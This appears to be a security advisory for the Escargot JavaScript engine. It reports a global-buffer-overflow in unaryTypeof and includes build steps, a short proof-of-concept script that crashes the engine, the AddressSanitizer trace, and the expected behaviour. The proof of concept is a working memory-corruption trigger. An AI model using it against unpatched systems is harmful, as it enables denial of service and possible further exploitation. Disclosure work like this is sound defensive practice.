escargot
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Published
20 hours ago •
Samsung
Samsung
global-buffer-overflow in Escargot::InterpreterSlowPath::unaryTypeof
Escargot
- OS: Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
- Revision : 28451a704f3081b8230753625c736c03ce0a2bfd
Build Steps
cmake -DCMAKE_CXX_FLAGS=-fsanitize=address -DESCARGOT_MODE=debug -DESCARGOT_OUTPUT=shell -GNinja
Describe the bug global-buffer-overflow (sometimes detected memory leaks)
Test case
testcase
var r = [ " string ", 32, null, 1, undefined, Symbol ( " symbol " ), true, false ] ;
var var0 = true ;
for ( var e of r ) {
for ( let { func0 : n = f = typeof n, b : o = class o { },... t } of e )
n = f ;
if ( n!== true )
throw new Error ( " Error : " + n + " bad value : a = " + String. fromCharCode ( 65 + 65, n ) ) ;
Object. freeze ( e ) ;
}
// poc.js
var r = [ " string " ] ;
for ( var e of r ) {
for ( let { func0 : n = f = typeof n, b : o = class o { },... t } of e )
Object. freeze ( e ) ;
}
Execution steps & Output
$ ./escargot poc.js
=================================================================
==2069958==ERROR: AddressSanitizer: global-buffer-overflow on address 0x564dc5c45a90 at pc 0x564dc5035d0e bp 0x7ffeeff024b0 sp 0x7ffeeff024a0
READ of size 8 at 0x564dc5c45a90 thread T0
#0 0x564dc5035d0d in Escargot::InterpreterSlowPath::unaryTypeof(Escargot::ExecutionState&, Escargot::UnaryTypeof*, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:4723
#1 0x564dc50073de in Escargot::Interpreter::interpret(Escargot::ExecutionState*, Escargot::ByteCodeBlock*, unsigned long, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:1089
#2 0x564dc501fe96 in Escargot::InterpreterSlowPath::tryOperation(Escargot::ExecutionState*&, unsigned long&, Escargot::ByteCodeBlock*, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:3303
#3 0x564dc5007d29 in Escargot::Interpreter::interpret(Escargot::ExecutionState*, Escargot::ByteCodeBlock*, unsigned long, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:1254
#4 0x564dc501fe96 in Escargot::InterpreterSlowPath::tryOperation(Escargot::ExecutionState*&, unsigned long&, Escargot::ByteCodeBlock*, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:3303
#5 0x564dc5007d29 in Escargot::Interpreter::interpret(Escargot::ExecutionState*, Escargot::ByteCodeBlock*, unsigned long, Escargot::Value*) src/interpreter/ByteCodeInterpreter.cpp:1254
#6 0x564dc51cd1bb in Escargot::Script::execute(Escargot::ExecutionState&, bool, bool) src/parser/Script.cpp:499
#7 0x564dc4dbfc62 in Escargot::ScriptRef::execute(Escargot::ExecutionStateRef*) src/api/EscargotPublic.cpp:4715
#8 0x564dc566103c in operator() src/shell/Shell.cpp:790
#9 0x564dc5661067 in _FUN src/shell/Shell.cpp:791
#10 0x564dc566ad3d in decltype (((forward<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*)>)({parm#1}))((forward<Escargot::ExecutionStateRef*&>)({parm#3}), (forward<Escargot::ScriptRef*&>)({parm#3}))) Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<0ul>::apply<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&, Escargot::ExecutionStateRef*&, Escargot::ScriptRef*&>(Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&, Escargot::ExecutionStateRef*&, Escargot::ScriptRef*&) src/api/EscargotPublic.h:521
#11 0x564dc566a349 in decltype (Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<0ul>::apply((forward<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*)>)({parm#1}), (forward<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>)({parm#2}), (get<(1ul)-(1)>)((forward<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>)({parm#2})), (forward<Escargot::ScriptRef*&>)({parm#3}))) Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<1ul>::apply<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&, Escargot::ScriptRef*&>(Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&, Escargot::ScriptRef*&) src/api/EscargotPublic.h:510
#12 0x564dc56697a9 in decltype (Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<1ul>::apply((forward<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*)>)({parm#1}), (forward<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>)({parm#2}), (get<(2ul)-(1)>)((forward<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>)({parm#2})))) Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<2ul>::apply<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>(Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&) src/api/EscargotPublic.h:510
#13 0x564dc566885c in decltype (Escargot::EvaluatorUtil::ApplyTupleIntoArgumentsOfVariadicTemplateFunction<std::tuple_size<std::decay<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>::type>::value>::apply((forward<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*)>)({parm#1}), (forward<std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>)({parm#2}))) Escargot::EvaluatorUtil::applyTupleIntoArgumentsOfVariadicTemplateFunction<Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&>(Escargot::ValueRef* (*&)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), std::tuple<Escargot::ExecutionStateRef*, Escargot::ScriptRef*>&) src/api/EscargotPublic.h:531
#14 0x564dc5666e70 in Escargot::Evaluator::executeImpl<Escargot::ContextRef, Escargot::ScriptRef*>(Escargot::ContextRef*, Escargot::ValueRef* (*)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), Escargot::ScriptRef*)::{lambda(Escargot::ExecutionStateRef*, void*, void*)#1}::operator()(Escargot::ExecutionStateRef*, void*, void*) const src/api/EscargotPublic.h:612
#15 0x564dc5666efe in Escargot::Evaluator::executeImpl<Escargot::ContextRef, Escargot::ScriptRef*>(Escargot::ContextRef*, Escargot::ValueRef* (*)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), Escargot::ScriptRef*)::{lambda(Escargot::ExecutionStateRef*, void*, void*)#1}::_FUN(Escargot::ExecutionStateRef*, void*, void*) src/api/EscargotPublic.h:606
#16 0x564dc4dbbde0 in operator() src/api/EscargotPublic.cpp:1087
#17 0x564dc4dbbe1a in _FUN src/api/EscargotPublic.cpp:1088
#18 0x564dc55a1dd4 in Escargot::SandBox::run(Escargot::Value (*)(Escargot::ExecutionState&, void*), void*) src/runtime/SandBox.cpp:111
#19 0x564dc4dbc079 in Escargot::Evaluator::executeFunction(Escargot::ContextRef*, Escargot::ValueRef* (*)(Escargot::ExecutionStateRef*, void*, void*), void*, void*) src/api/EscargotPublic.cpp:1089
#20 0x564dc5667100 in Escargot::Evaluator::EvaluatorResult Escargot::Evaluator::executeImpl<Escargot::ContextRef, Escargot::ScriptRef*>(Escargot::ContextRef*, Escargot::ValueRef* (*)(Escargot::ExecutionStateRef*, Escargot::ScriptRef*), Escargot::ScriptRef*) src/api/EscargotPublic.h:614
#21 0x564dc566569a in execute<Escargot::ScriptRef*, evalScript(Escargot::ContextRef*, Escargot::StringRef*, Escargot::StringRef*, bool, bool)::<lambda(Escargot::ExecutionStateRef*, Escargot::ScriptRef*)> > src/api/EscargotPublic.h:585
#22 0x564dc5661838 in evalScript src/shell/Shell.cpp:792
#23 0x564dc56642db in main src/shell/Shell.cpp:1143
#24 0x7f773eca3082 in __libc_start_main ../csu/libc-start.c:308
#25 0x564dc4d9d7fd in _start (./escargot/escargot+0x2597fd)
0x564dc5c45a90 is located 16 bytes to the left of global variable 'MOD_PRIME' defined in 'third_party/robin_map/include/tsl/robin_growth_policy.h:317:5' (0x564dc5c45aa0) of size 408
0x564dc5c45a90 is located 24 bytes to the right of global variable 'MOD_PRIME' defined in 'third_party/robin_map/include/tsl/robin_growth_policy.h:317:5' (0x564dc5c458e0) of size 408
SUMMARY: AddressSanitizer: global-buffer-overflow src/interpreter/ByteCodeInterpreter.cpp:4723 in Escargot::InterpreterSlowPath::unaryTypeof(Escargot::ExecutionState&, Escargot::UnaryTypeof*, Escargot::Value*)
Shadow bytes around the buggy address:
0x0aca38b80b00: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9
=>0x0aca38b80b50: f9 f9[f9]f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80b80: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 00 00 00
0x0aca38b80b90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aca38b80ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2069958==ABORTING
when executed in release mode
Output
Segmentation fault
Expected behavior
poc.js:3: ReferenceError: Cannot access 'n' before initialization
for ( let { func0 : n = f = typeof n, b : o = class o { },... t } of e )
^
ReferenceError: Cannot access 'n' before initialization
at poc.js:3:22
Credits: @Ye0nny, @EJueon
